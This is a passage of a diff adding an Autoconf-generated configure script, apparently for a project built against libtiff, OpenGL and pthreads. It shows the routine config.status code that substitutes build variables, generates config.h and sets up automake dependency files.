+s,@HAVE_RPATH_TRUE@,$HAVE_RPATH_TRUE,;t t
+s,@HAVE_RPATH_FALSE@,$HAVE_RPATH_FALSE,;t t
+s,@LIBTIFF_DOCDIR@,$LIBTIFF_DOCDIR,;t t
+s,@HAVE_CXX_TRUE@,$HAVE_CXX_TRUE,;t t
+s,@HAVE_CXX_FALSE@,$HAVE_CXX_FALSE,;t t
+s,@X_CFLAGS@,$X_CFLAGS,;t t
+s,@X_PRE_LIBS@,$X_PRE_LIBS,;t t
+s,@X_LIBS@,$X_LIBS,;t t
+s,@X_EXTRA_LIBS@,$X_EXTRA_LIBS,;t t
+s,@acx_pthread_config@,$acx_pthread_config,;t t
+s,@PTHREAD_CC@,$PTHREAD_CC,;t t
+s,@PTHREAD_LIBS@,$PTHREAD_LIBS,;t t
+s,@PTHREAD_CFLAGS@,$PTHREAD_CFLAGS,;t t
+s,@GL_CFLAGS@,$GL_CFLAGS,;t t
+s,@GL_LIBS@,$GL_LIBS,;t t
+s,@CXX@,$CXX,;t t
+s,@CXXFLAGS@,$CXXFLAGS,;t t
+s,@ac_ct_CXX@,$ac_ct_CXX,;t t
+s,@CXXDEPMODE@,$CXXDEPMODE,;t t
+s,@am__fastdepCXX_TRUE@,$am__fastdepCXX_TRUE,;t t
+s,@am__fastdepCXX_FALSE@,$am__fastdepCXX_FALSE,;t t
+s,@CXXCPP@,$CXXCPP,;t t
+s,@GLU_CFLAGS@,$GLU_CFLAGS,;t t
+s,@GLU_LIBS@,$GLU_LIBS,;t t
+s,@GLUT_CFLAGS@,$GLUT_CFLAGS,;t t
+s,@GLUT_LIBS@,$GLUT_LIBS,;t t
+s,@HAVE_OPENGL_TRUE@,$HAVE_OPENGL_TRUE,;t t
+s,@HAVE_OPENGL_FALSE@,$HAVE_OPENGL_FALSE,;t t
+s,@LIBDIR@,$LIBDIR,;t t
+s,@LTLIBOBJS@,$LTLIBOBJS,;t t
+CEOF
+
+_ACEOF
+
+  cat >>$CONFIG_STATUS <<\_ACEOF
+  # Split the substitutions into bite-sized pieces for seds with
+  # small command number limits, like on Digital OSF/1 and HP-UX.
+  ac_max_sed_lines=48
+  ac_sed_frag=1 # Number of current file.
+  ac_beg=1 # First line for current file.
+  ac_end=$ac_max_sed_lines # Line after last line for current file.
+  ac_more_lines=:
+  ac_sed_cmds=
+  while $ac_more_lines; do
+    if test $ac_beg -gt 1; then
+      sed "1,${ac_beg}d; ${ac_end}q" $tmp/subs.sed >$tmp/subs.frag
+    else
+      sed "${ac_end}q" $tmp/subs.sed >$tmp/subs.frag
+    fi
+    if test ! -s $tmp/subs.frag; then
+      ac_more_lines=false
+    else
+      # The purpose of the label and of the branching condition is to
+      # speed up the sed processing (if there are no `@' at all, there
+      # is no need to browse any of the substitutions).
+      # These are the two extra sed commands mentioned above.
+      (echo ':t
+  /@[a-zA-Z_][a-zA-Z_0-9]*@/!b' && cat $tmp/subs.frag) >$tmp/subs-$ac_sed_frag.sed
+      if test -z "$ac_sed_cmds"; then
+	ac_sed_cmds="sed -f $tmp/subs-$ac_sed_frag.sed"
+      else
+	ac_sed_cmds="$ac_sed_cmds | sed -f $tmp/subs-$ac_sed_frag.sed"
+      fi
+      ac_sed_frag=`expr $ac_sed_frag + 1`
+      ac_beg=$ac_end
+      ac_end=`expr $ac_end + $ac_max_sed_lines`
+    fi
+  done
+  if test -z "$ac_sed_cmds"; then
+    ac_sed_cmds=cat
+  fi
+fi # test -n "$CONFIG_FILES"
+
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+for ac_file in : $CONFIG_FILES; do test "x$ac_file" = x: && continue
+  # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
+  case $ac_file in
+  - | *:- | *:-:* ) # input from stdin
+	cat >$tmp/stdin
+	ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+	ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+  *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+	ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+  * )   ac_file_in=$ac_file.in ;;
+  esac
+
+  # Compute @srcdir@, @top_srcdir@, and @INSTALL@ for subdirectories.
+  ac_dir=`(dirname "$ac_file") 2>/dev/null ||
+$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$ac_file" : 'X\(//\)[^/]' \| \
+	 X"$ac_file" : 'X\(//\)$' \| \
+	 X"$ac_file" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$ac_file" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+  { if $as_mkdir_p; then
+    mkdir -p "$ac_dir"
+  else
+    as_dir="$ac_dir"
+    as_dirs=
+    while test ! -d "$as_dir"; do
+      as_dirs="$as_dir $as_dirs"
+      as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$as_dir" : 'X\(//\)[^/]' \| \
+	 X"$as_dir" : 'X\(//\)$' \| \
+	 X"$as_dir" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+    done
+    test ! -n "$as_dirs" || mkdir $as_dirs
+  fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5
+echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;}
+   { (exit 1); exit 1; }; }; }
+
+  ac_builddir=.
+
+if test "$ac_dir" != .; then
+  ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+  # A "../" for each directory in $ac_dir_suffix.
+  ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+  ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+  .)  # No --srcdir option.  We are building in place.
+    ac_srcdir=.
+    if test -z "$ac_top_builddir"; then
+       ac_top_srcdir=.
+    else
+       ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+    fi ;;
+  [\\/]* | ?:[\\/]* )  # Absolute path.
+    ac_srcdir=$srcdir$ac_dir_suffix;
+    ac_top_srcdir=$srcdir ;;
+  *) # Relative path.
+    ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+    ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+
+# Do not use `cd foo && pwd` to compute absolute paths, because
+# the directories may not exist.
+case `pwd` in
+.) ac_abs_builddir="$ac_dir";;
+*)
+  case "$ac_dir" in
+  .) ac_abs_builddir=`pwd`;;
+  [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";;
+  *) ac_abs_builddir=`pwd`/"$ac_dir";;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_top_builddir=${ac_top_builddir}.;;
+*)
+  case ${ac_top_builddir}. in
+  .) ac_abs_top_builddir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;;
+  *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_srcdir=$ac_srcdir;;
+*)
+  case $ac_srcdir in
+  .) ac_abs_srcdir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;;
+  *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_top_srcdir=$ac_top_srcdir;;
+*)
+  case $ac_top_srcdir in
+  .) ac_abs_top_srcdir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;;
+  *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;;
+  esac;;
+esac
+
+
+  case $INSTALL in
+  [\\/$]* | ?:[\\/]* ) ac_INSTALL=$INSTALL ;;
+  *) ac_INSTALL=$ac_top_builddir$INSTALL ;;
+  esac
+
+  # Let's still pretend it is `configure' which instantiates (i.e., don't
+  # use $as_me), people would be surprised to read:
+  #    /* config.h.  Generated by config.status.  */
+  if test x"$ac_file" = x-; then
+    configure_input=
+  else
+    configure_input="$ac_file.  "
+  fi
+  configure_input=$configure_input"Generated from `echo $ac_file_in |
+				     sed 's,.*/,,'` by configure."
+
+  # First look for the input files in the build tree, otherwise in the
+  # src tree.
+  ac_file_inputs=`IFS=:
+    for f in $ac_file_in; do
+      case $f in
+      -) echo $tmp/stdin ;;
+      [\\/$]*)
+	 # Absolute (can't be DOS-style, as IFS=:)
+	 test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+   { (exit 1); exit 1; }; }
+	 echo "$f";;
+      *) # Relative
+	 if test -f "$f"; then
+	   # Build tree
+	   echo "$f"
+	 elif test -f "$srcdir/$f"; then
+	   # Source tree
+	   echo "$srcdir/$f"
+	 else
+	   # /dev/null tree
+	   { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+   { (exit 1); exit 1; }; }
+	 fi;;
+      esac
+    done` || { (exit 1); exit 1; }
+
+  if test x"$ac_file" != x-; then
+    { echo "$as_me:$LINENO: creating $ac_file" >&5
+echo "$as_me: creating $ac_file" >&6;}
+    rm -f "$ac_file"
+  fi
+_ACEOF
+cat >>$CONFIG_STATUS <<_ACEOF
+  sed "$ac_vpsub
+$extrasub
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+:t
+/@[a-zA-Z_][a-zA-Z_0-9]*@/!b
+s,@configure_input@,$configure_input,;t t
+s,@srcdir@,$ac_srcdir,;t t
+s,@abs_srcdir@,$ac_abs_srcdir,;t t
+s,@top_srcdir@,$ac_top_srcdir,;t t
+s,@abs_top_srcdir@,$ac_abs_top_srcdir,;t t
+s,@builddir@,$ac_builddir,;t t
+s,@abs_builddir@,$ac_abs_builddir,;t t
+s,@top_builddir@,$ac_top_builddir,;t t
+s,@abs_top_builddir@,$ac_abs_top_builddir,;t t
+s,@INSTALL@,$ac_INSTALL,;t t
+" $ac_file_inputs | (eval "$ac_sed_cmds") >$tmp/out
+  rm -f $tmp/stdin
+  if test x"$ac_file" != x-; then
+    mv $tmp/out $ac_file
+  else
+    cat $tmp/out
+    rm -f $tmp/out
+  fi
+
+done
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+#
+# CONFIG_HEADER section.
+#
+
+# These sed commands are passed to sed as "A NAME B NAME C VALUE D", where
+# NAME is the cpp macro being defined and VALUE is the value it is being given.
+#
+# ac_d sets the value in "#define NAME VALUE" lines.
+ac_dA='s,^\([	 ]*\)#\([	 ]*define[	 ][	 ]*\)'
+ac_dB='[	 ].*$,\1#\2'
+ac_dC=' '
+ac_dD=',;t'
+# ac_u turns "#undef NAME" without trailing blanks into "#define NAME VALUE".
+ac_uA='s,^\([	 ]*\)#\([	 ]*\)undef\([	 ][	 ]*\)'
+ac_uB='$,\1#\2define\3'
+ac_uC=' '
+ac_uD=',;t'
+
+for ac_file in : $CONFIG_HEADERS; do test "x$ac_file" = x: && continue
+  # Support "outfile[:infile[:infile...]]", defaulting infile="outfile.in".
+  case $ac_file in
+  - | *:- | *:-:* ) # input from stdin
+	cat >$tmp/stdin
+	ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+	ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+  *:* ) ac_file_in=`echo "$ac_file" | sed 's,[^:]*:,,'`
+	ac_file=`echo "$ac_file" | sed 's,:.*,,'` ;;
+  * )   ac_file_in=$ac_file.in ;;
+  esac
+
+  test x"$ac_file" != x- && { echo "$as_me:$LINENO: creating $ac_file" >&5
+echo "$as_me: creating $ac_file" >&6;}
+
+  # First look for the input files in the build tree, otherwise in the
+  # src tree.
+  ac_file_inputs=`IFS=:
+    for f in $ac_file_in; do
+      case $f in
+      -) echo $tmp/stdin ;;
+      [\\/$]*)
+	 # Absolute (can't be DOS-style, as IFS=:)
+	 test -f "$f" || { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+   { (exit 1); exit 1; }; }
+	 # Do quote $f, to prevent DOS paths from being IFS'd.
+	 echo "$f";;
+      *) # Relative
+	 if test -f "$f"; then
+	   # Build tree
+	   echo "$f"
+	 elif test -f "$srcdir/$f"; then
+	   # Source tree
+	   echo "$srcdir/$f"
+	 else
+	   # /dev/null tree
+	   { { echo "$as_me:$LINENO: error: cannot find input file: $f" >&5
+echo "$as_me: error: cannot find input file: $f" >&2;}
+   { (exit 1); exit 1; }; }
+	 fi;;
+      esac
+    done` || { (exit 1); exit 1; }
+  # Remove the trailing spaces.
+  sed 's/[	 ]*$//' $ac_file_inputs >$tmp/in
+
+_ACEOF
+
+# Transform confdefs.h into two sed scripts, `conftest.defines' and
+# `conftest.undefs', that substitutes the proper values into
+# config.h.in to produce config.h.  The first handles `#define'
+# templates, and the second `#undef' templates.
+# And first: Protect against being on the right side of a sed subst in
+# config.status.  Protect against being in an unquoted here document
+# in config.status.
+rm -f conftest.defines conftest.undefs
+# Using a here document instead of a string reduces the quoting nightmare.
+# Putting comments in sed scripts is not portable.
+#
+# `end' is used to avoid that the second main sed command (meant for
+# 0-ary CPP macros) applies to n-ary macro definitions.
+# See the Autoconf documentation for `clear'.
+cat >confdef2sed.sed <<\_ACEOF
+s/[\\&,]/\\&/g
+s,[\\$`],\\&,g
+t clear
+: clear
+s,^[	 ]*#[	 ]*define[	 ][	 ]*\([^	 (][^	 (]*\)\(([^)]*)\)[	 ]*\(.*\)$,${ac_dA}\1${ac_dB}\1\2${ac_dC}\3${ac_dD},gp
+t end
+s,^[	 ]*#[	 ]*define[	 ][	 ]*\([^	 ][^	 ]*\)[	 ]*\(.*\)$,${ac_dA}\1${ac_dB}\1${ac_dC}\2${ac_dD},gp
+: end
+_ACEOF
+# If some macros were called several times there might be several times
+# the same #defines, which is useless.  Nevertheless, we may not want to
+# sort them, since we want the *last* AC-DEFINE to be honored.
+uniq confdefs.h | sed -n -f confdef2sed.sed >conftest.defines
+sed 's/ac_d/ac_u/g' conftest.defines >conftest.undefs
+rm -f confdef2sed.sed
+
+# This sed command replaces #undef with comments.  This is necessary, for
+# example, in the case of _POSIX_SOURCE, which is predefined and required
+# on some systems where configure will not decide to define it.
+cat >>conftest.undefs <<\_ACEOF
+s,^[	 ]*#[	 ]*undef[	 ][	 ]*[a-zA-Z_][a-zA-Z_0-9]*,/* & */,
+_ACEOF
+
+# Break up conftest.defines because some shells have a limit on the size
+# of here documents, and old seds have small limits too (100 cmds).
+echo '  # Handle all the #define templates only if necessary.' >>$CONFIG_STATUS
+echo '  if grep "^[	 ]*#[	 ]*define" $tmp/in >/dev/null; then' >>$CONFIG_STATUS
+echo '  # If there are no defines, we may have an empty if/fi' >>$CONFIG_STATUS
+echo '  :' >>$CONFIG_STATUS
+rm -f conftest.tail
+while grep . conftest.defines >/dev/null
+do
+  # Write a limited-size here document to $tmp/defines.sed.
+  echo '  cat >$tmp/defines.sed <<CEOF' >>$CONFIG_STATUS
+  # Speed up: don't consider the non `#define' lines.
+  echo '/^[	 ]*#[	 ]*define/!b' >>$CONFIG_STATUS
+  # Work around the forget-to-reset-the-flag bug.
+  echo 't clr' >>$CONFIG_STATUS
+  echo ': clr' >>$CONFIG_STATUS
+  sed ${ac_max_here_lines}q conftest.defines >>$CONFIG_STATUS
+  echo 'CEOF
+  sed -f $tmp/defines.sed $tmp/in >$tmp/out
+  rm -f $tmp/in
+  mv $tmp/out $tmp/in
+' >>$CONFIG_STATUS
+  sed 1,${ac_max_here_lines}d conftest.defines >conftest.tail
+  rm -f conftest.defines
+  mv conftest.tail conftest.defines
+done
+rm -f conftest.defines
+echo '  fi # grep' >>$CONFIG_STATUS
+echo >>$CONFIG_STATUS
+
+# Break up conftest.undefs because some shells have a limit on the size
+# of here documents, and old seds have small limits too (100 cmds).
+echo '  # Handle all the #undef templates' >>$CONFIG_STATUS
+rm -f conftest.tail
+while grep . conftest.undefs >/dev/null
+do
+  # Write a limited-size here document to $tmp/undefs.sed.
+  echo '  cat >$tmp/undefs.sed <<CEOF' >>$CONFIG_STATUS
+  # Speed up: don't consider the non `#undef'
+  echo '/^[	 ]*#[	 ]*undef/!b' >>$CONFIG_STATUS
+  # Work around the forget-to-reset-the-flag bug.
+  echo 't clr' >>$CONFIG_STATUS
+  echo ': clr' >>$CONFIG_STATUS
+  sed ${ac_max_here_lines}q conftest.undefs >>$CONFIG_STATUS
+  echo 'CEOF
+  sed -f $tmp/undefs.sed $tmp/in >$tmp/out
+  rm -f $tmp/in
+  mv $tmp/out $tmp/in
+' >>$CONFIG_STATUS
+  sed 1,${ac_max_here_lines}d conftest.undefs >conftest.tail
+  rm -f conftest.undefs
+  mv conftest.tail conftest.undefs
+done
+rm -f conftest.undefs
+
+cat >>$CONFIG_STATUS <<\_ACEOF
+  # Let's still pretend it is `configure' which instantiates (i.e., don't
+  # use $as_me), people would be surprised to read:
+  #    /* config.h.  Generated by config.status.  */
+  if test x"$ac_file" = x-; then
+    echo "/* Generated by configure.  */" >$tmp/config.h
+  else
+    echo "/* $ac_file.  Generated by configure.  */" >$tmp/config.h
+  fi
+  cat $tmp/in >>$tmp/config.h
+  rm -f $tmp/in
+  if test x"$ac_file" != x-; then
+    if diff $ac_file $tmp/config.h >/dev/null 2>&1; then
+      { echo "$as_me:$LINENO: $ac_file is unchanged" >&5
+echo "$as_me: $ac_file is unchanged" >&6;}
+    else
+      ac_dir=`(dirname "$ac_file") 2>/dev/null ||
+$as_expr X"$ac_file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$ac_file" : 'X\(//\)[^/]' \| \
+	 X"$ac_file" : 'X\(//\)$' \| \
+	 X"$ac_file" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$ac_file" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+      { if $as_mkdir_p; then
+    mkdir -p "$ac_dir"
+  else
+    as_dir="$ac_dir"
+    as_dirs=
+    while test ! -d "$as_dir"; do
+      as_dirs="$as_dir $as_dirs"
+      as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$as_dir" : 'X\(//\)[^/]' \| \
+	 X"$as_dir" : 'X\(//\)$' \| \
+	 X"$as_dir" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+    done
+    test ! -n "$as_dirs" || mkdir $as_dirs
+  fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5
+echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;}
+   { (exit 1); exit 1; }; }; }
+
+      rm -f $ac_file
+      mv $tmp/config.h $ac_file
+    fi
+  else
+    cat $tmp/config.h
+    rm -f $tmp/config.h
+  fi
+# Compute $ac_file's index in $config_headers.
+_am_stamp_count=1
+for _am_header in $config_headers :; do
+  case $_am_header in
+    $ac_file | $ac_file:* )
+      break ;;
+    * )
+      _am_stamp_count=`expr $_am_stamp_count + 1` ;;
+  esac
+done
+echo "timestamp for $ac_file" >`(dirname $ac_file) 2>/dev/null ||
+$as_expr X$ac_file : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X$ac_file : 'X\(//\)[^/]' \| \
+	 X$ac_file : 'X\(//\)$' \| \
+	 X$ac_file : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X$ac_file |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`/stamp-h$_am_stamp_count
+done
+_ACEOF
+cat >>$CONFIG_STATUS <<\_ACEOF
+
+#
+# CONFIG_COMMANDS section.
+#
+for ac_file in : $CONFIG_COMMANDS; do test "x$ac_file" = x: && continue
+  ac_dest=`echo "$ac_file" | sed 's,:.*,,'`
+  ac_source=`echo "$ac_file" | sed 's,[^:]*:,,'`
+  ac_dir=`(dirname "$ac_dest") 2>/dev/null ||
+$as_expr X"$ac_dest" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$ac_dest" : 'X\(//\)[^/]' \| \
+	 X"$ac_dest" : 'X\(//\)$' \| \
+	 X"$ac_dest" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$ac_dest" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+  { if $as_mkdir_p; then
+    mkdir -p "$ac_dir"
+  else
+    as_dir="$ac_dir"
+    as_dirs=
+    while test ! -d "$as_dir"; do
+      as_dirs="$as_dir $as_dirs"
+      as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$as_dir" : 'X\(//\)[^/]' \| \
+	 X"$as_dir" : 'X\(//\)$' \| \
+	 X"$as_dir" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+    done
+    test ! -n "$as_dirs" || mkdir $as_dirs
+  fi || { { echo "$as_me:$LINENO: error: cannot create directory \"$ac_dir\"" >&5
+echo "$as_me: error: cannot create directory \"$ac_dir\"" >&2;}
+   { (exit 1); exit 1; }; }; }
+
+  ac_builddir=.
+
+if test "$ac_dir" != .; then
+  ac_dir_suffix=/`echo "$ac_dir" | sed 's,^\.[\\/],,'`
+  # A "../" for each directory in $ac_dir_suffix.
+  ac_top_builddir=`echo "$ac_dir_suffix" | sed 's,/[^\\/]*,../,g'`
+else
+  ac_dir_suffix= ac_top_builddir=
+fi
+
+case $srcdir in
+  .)  # No --srcdir option.  We are building in place.
+    ac_srcdir=.
+    if test -z "$ac_top_builddir"; then
+       ac_top_srcdir=.
+    else
+       ac_top_srcdir=`echo $ac_top_builddir | sed 's,/$,,'`
+    fi ;;
+  [\\/]* | ?:[\\/]* )  # Absolute path.
+    ac_srcdir=$srcdir$ac_dir_suffix;
+    ac_top_srcdir=$srcdir ;;
+  *) # Relative path.
+    ac_srcdir=$ac_top_builddir$srcdir$ac_dir_suffix
+    ac_top_srcdir=$ac_top_builddir$srcdir ;;
+esac
+
+# Do not use `cd foo && pwd` to compute absolute paths, because
+# the directories may not exist.
+case `pwd` in
+.) ac_abs_builddir="$ac_dir";;
+*)
+  case "$ac_dir" in
+  .) ac_abs_builddir=`pwd`;;
+  [\\/]* | ?:[\\/]* ) ac_abs_builddir="$ac_dir";;
+  *) ac_abs_builddir=`pwd`/"$ac_dir";;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_top_builddir=${ac_top_builddir}.;;
+*)
+  case ${ac_top_builddir}. in
+  .) ac_abs_top_builddir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_top_builddir=${ac_top_builddir}.;;
+  *) ac_abs_top_builddir=$ac_abs_builddir/${ac_top_builddir}.;;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_srcdir=$ac_srcdir;;
+*)
+  case $ac_srcdir in
+  .) ac_abs_srcdir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_srcdir=$ac_srcdir;;
+  *) ac_abs_srcdir=$ac_abs_builddir/$ac_srcdir;;
+  esac;;
+esac
+case $ac_abs_builddir in
+.) ac_abs_top_srcdir=$ac_top_srcdir;;
+*)
+  case $ac_top_srcdir in
+  .) ac_abs_top_srcdir=$ac_abs_builddir;;
+  [\\/]* | ?:[\\/]* ) ac_abs_top_srcdir=$ac_top_srcdir;;
+  *) ac_abs_top_srcdir=$ac_abs_builddir/$ac_top_srcdir;;
+  esac;;
+esac
+
+
+  { echo "$as_me:$LINENO: executing $ac_dest commands" >&5
+echo "$as_me: executing $ac_dest commands" >&6;}
+  case $ac_dest in
+    depfiles ) test x"$AMDEP_TRUE" != x"" || for mf in $CONFIG_FILES; do
+  # Strip MF so we end up with the name of the file.
+  mf=`echo "$mf" | sed -e 's/:.*$//'`
+  # Check whether this is an Automake generated Makefile or not.
+  # We used to match only the files named `Makefile.in', but
+  # some people rename them; so instead we look at the file content.
+  # Grep'ing the first line is not enough: some people post-process
+  # each Makefile.in and add a new line on top of each file to say so.
+  # So let's grep whole file.
+  if grep '^#.*generated by automake' $mf > /dev/null 2>&1; then
+    dirpart=`(dirname "$mf") 2>/dev/null ||
+$as_expr X"$mf" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$mf" : 'X\(//\)[^/]' \| \
+	 X"$mf" : 'X\(//\)$' \| \
+	 X"$mf" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$mf" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+  else
+    continue
+  fi
+  # Extract the definition of DEPDIR, am__include, and am__quote
+  # from the Makefile without running `make'.
+  DEPDIR=`sed -n 's/^DEPDIR = //p' < "$mf"`
+  test -z "$DEPDIR" && continue
+  am__include=`sed -n 's/^am__include = //p' < "$mf"`
+  test -z "am__include" && continue
+  am__quote=`sed -n 's/^am__quote = //p' < "$mf"`
+  # When using ansi2knr, U may be empty or an underscore; expand it
+  U=`sed -n 's/^U = //p' < "$mf"`
+  # Find all dependency output files, they are included files with
+  # $(DEPDIR) in their names.  We invoke sed twice because it is the
+  # simplest approach to changing $(DEPDIR) to its actual value in the
+  # expansion.
+  for file in `sed -n "
+    s/^$am__include $am__quote\(.*(DEPDIR).*\)$am__quote"'$/\1/p' <"$mf" | \
+       sed -e 's/\$(DEPDIR)/'"$DEPDIR"'/g' -e 's/\$U/'"$U"'/g'`; do
+    # Make sure the directory exists.
+    test -f "$dirpart/$file" && continue
+    fdir=`(dirname "$file") 2>/dev/null ||
+$as_expr X"$file" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$file" : 'X\(//\)[^/]' \| \
+	 X"$file" : 'X\(//\)$' \| \
+	 X"$file" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$file" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+    { if $as_mkdir_p; then
+    mkdir -p $dirpart/$fdir
+  else
+    as_dir=$dirpart/$fdir
+    as_dirs=
+    while test ! -d "$as_dir"; do
+      as_dirs="$as_dir $as_dirs"
+      as_dir=`(dirname "$as_dir") 2>/dev/null ||
+$as_expr X"$as_dir" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \
+	 X"$as_dir" : 'X\(//\)[^/]' \| \
+	 X"$as_dir" : 'X\(//\)$' \| \
+	 X"$as_dir" : 'X\(/\)' \| \
+	 .     : '\(.\)' 2>/dev/null ||
+echo X"$as_dir" |
+    sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/; q; }
+  	  /^X\(\/\/\)[^/].*/{ s//\1/; q; }
+  	  /^X\(\/\/\)$/{ s//\1/; q; }
+  	  /^X\(\/\).*/{ s//\1/; q; }
+  	  s/.*/./; q'`
+    done
+    test ! -n "$as_dirs" || mkdir $as_dirs
+  fi || { { echo "$as_me:$LINENO: error: cannot create directory $dirpart/$fdir" >&5
+echo "$as_me: error: cannot create directory $dirpart/$fdir" >&2;}
